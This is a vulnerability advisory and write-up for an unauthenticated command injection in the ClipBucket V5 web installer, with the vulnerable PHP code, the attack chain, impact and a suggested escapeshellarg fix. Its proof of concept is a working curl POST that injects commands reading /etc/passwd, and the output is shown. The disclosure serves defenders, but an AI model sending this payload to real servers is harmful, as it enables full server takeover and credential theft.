CVE-2026-80138: ClipBucket V5 Unauthenticated RCE via Web Installer Command Injection
CVE-2026-80138: ClipBucket V5 Unauthenticated RCE via Web Installer Command Injection
Introduction
During security research on ClipBucket V5, an open-source video sharing platform, I discovered a critical command injection vulnerability in the web installer that allows unauthenticated remote code execution with a single HTTP request. No credentials, no session, no prior interaction required - just one POST request for complete server compromise.
Severity: Critical (CVSS 9.8)
Affected Versions: ClipBucket V5 <= 5.5.3
CWE: CWE-78 (OS Command Injection), CWE-306 (Missing Authentication for Critical Function)
The Vulnerability
The web installer's "precheck" step accepts a php_cli_filepath POST parameter intended to let administrators specify a custom PHP CLI binary path. This value is concatenated directly into a shell command with no escaping and no validation.
The vulnerable sink in upload/includes/classes/system.class.php:
public static function get_php_cli_info($php_path = null): array
{
if( empty($php_path) ) {
$php_path = self::get_binaries('php', false);
}
if( !self::check_php_function('exec', 'web', false) ){
return [];
}
$complement = '';
if( THIS_PAGE == 'cb_install' ){
$complement = ' install';
}
$cmd = $php_path . ' ' . DirPath::get('admin_actions') . 'phpinfo.php' . $complement;
exec($cmd, $php_cli_info);
...
}
The $php_path parameter flows directly into exec() with no escapeshellarg() or escapeshellcmd(). For comparison, other binary paths in the same codebase (mysql_client, ffmpeg, ffprobe, etc.) all validate with file_exists() before use - the php_cli branch is the only one missing this check.
Attack Chain
The full call chain from HTTP request to code execution:
- Entry point:
cb_install/index.phpaccepts$mode = $_POST['mode']with no authentication - Weak gate: The only protection is checking if
files/temp/install.meexists - this file ships with the repo and is only deleted after installation completes - Tainted input:
precheck.phppasses$_POST['php_cli_filepath']directly toSystem::get_software_version() - Sink: The value reaches
exec()without any sanitization
The installer's access gate is particularly weak:
if (!file_exists(DirPath::get('temp') . 'install.me')) {
if (!file_exists(DirPath::get('temp') . 'install.me.not') &&
!file_exists(DirPath::get('temp') . 'development.dev')) {
header('Location: //' . $_SERVER['SERVER_NAME']);
die();
}
}
The redirect only fires when all three marker files are absent. Since install.me ships present by default, the installer is accessible throughout the entire setup window.
Proof of Concept
Tested against a fresh deployment using the official Docker image at commit da1a665be9499ed68ce8ef94ff6af560aca272ff:
curl -s -o /dev/null -w "HTTP %{http_code}\n" \
-X POST "http://<target>/cb_install/index.php" \
--data-urlencode "mode=precheck" \
--data-urlencode "php_cli_filepath=id > /srv/http/clipbucket/upload/files/temp/rce_out.txt; hostname >> /srv/http/clipbucket/upload/files/temp/rce_out.txt; cat /etc/passwd | head -3 >> /srv/http/clipbucket/upload/files/temp/rce_out.txt;#"
No cookies. No session. No prior requests. This single POST is the entire attack.
The trailing ;# terminates the injected command and comments out the rest of the concatenated string (the phpinfo.php path suffix).
Result - upload/files/temp/rce_out.txt contained:
uid=1000(containeruser) gid=1000(containeruser) groups=1000(containeruser)
43f676f93eb6
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Full arbitrary command execution as the web server user.
Why This Matters
You might ask: if install.me is present, couldn't an attacker just complete the installer and create an admin account?
Key differences:
-
No database required: The precheck step (step 2) runs before database configuration (step 5). This vulnerability requires zero knowledge of database credentials.
-
No multi-step wizard: Finishing installation requires navigating 8 steps with valid inputs. This is one request.
-
Admin != RCE: The previously-patched admin RCE (
update_launch.php, GHSA-3x4g-x3gv-rjmq) is fixed in current versions. There's no plugin upload feature. Becoming Administrator does not currently grant code execution - this bug does.
Real-World Exposure
This isn't a theoretical edge case:
- The official Docker image and fresh
git cloneboth leaveinstall.mepresent by default - ClipBucket's own application logic actively redirects unauthenticated visitors to
/cb_installwheninstall.meexists - Installer directories are commonly left in place on shared hosting, staging environments, and forgotten demo instances
The application itself funnels drive-by traffic toward the vulnerable endpoint.
Impact
Complete unauthenticated remote code execution as the web server user:
- Drop webshells into the web root
- Read
includes/config.phpfor database credentials and secrets - Interfere with in-progress installations to plant backdoor admin accounts
- Pivot further depending on host/container configuration
Suggested Fix
Add file_exists() validation and proper escaping:
public static function get_php_cli_info($php_path = null): array
{
if( empty($php_path) ) {
$php_path = self::get_binaries('php', false);
}
if( !file_exists($php_path) ){
return ['err' => 'Unable to find PHP CLI'];
}
// ... rest of function
exec(escapeshellarg($php_path) . ' ' . escapeshellarg($script_path), $php_cli_info);
}
Broader recommendation: apply escapeshellarg() consistently across all exec()/shell_exec() calls that incorporate user-supplied paths.
Timeline
- 2026-08-06: Vulnerability discovered during security research
- 2026-08-XX: Reported to ClipBucket maintainers via GitHub Security Advisory
- 2026-XX-XX: Fix released (pending)
Conclusion
This vulnerability demonstrates how a single missing validation check in an installer component can lead to complete server compromise. The combination of no authentication, direct command injection, and the application actively routing traffic to the vulnerable endpoint creates a perfect storm for exploitation.
Always remember to remove or secure installer directories after deployment - and if you're a developer, treat any user-controllable value that reaches exec() as a loaded weapon.
Adam Nurudini
Offensive Security Consultant | CVE Author